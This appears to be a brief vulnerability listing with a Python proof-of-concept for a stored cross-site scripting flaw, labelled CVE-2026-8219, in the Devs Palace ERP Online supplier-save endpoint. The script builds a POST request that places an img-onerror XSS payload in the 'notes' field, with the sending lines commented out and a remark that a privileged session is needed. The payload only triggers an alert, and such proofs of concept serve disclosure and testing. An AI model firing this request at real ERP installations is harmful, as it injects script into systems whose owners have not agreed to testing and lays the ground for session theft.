CVE-2026-8219 Devs Palace ERP Online XSS漏洞

import requests # Target configuration target_url = "http://example.com/inventory/supplier-save" # Malicious payload to test XSS xss_payload = "<img src=x onerror=alert('CVE-2026-8219')>" # Data payload simulating the vulnerable request post_data = { "supplier_name": "Test Supplier", "contact_info": "[email protected]", "notes": xss_payload # Injection point } # Note: This requires a valid authenticated session (High Privilege) # cookies = {'PHPSESSID': '...'} # response = requests.post(target_url, data=post_data, cookies=cookies) # print(response.status_code)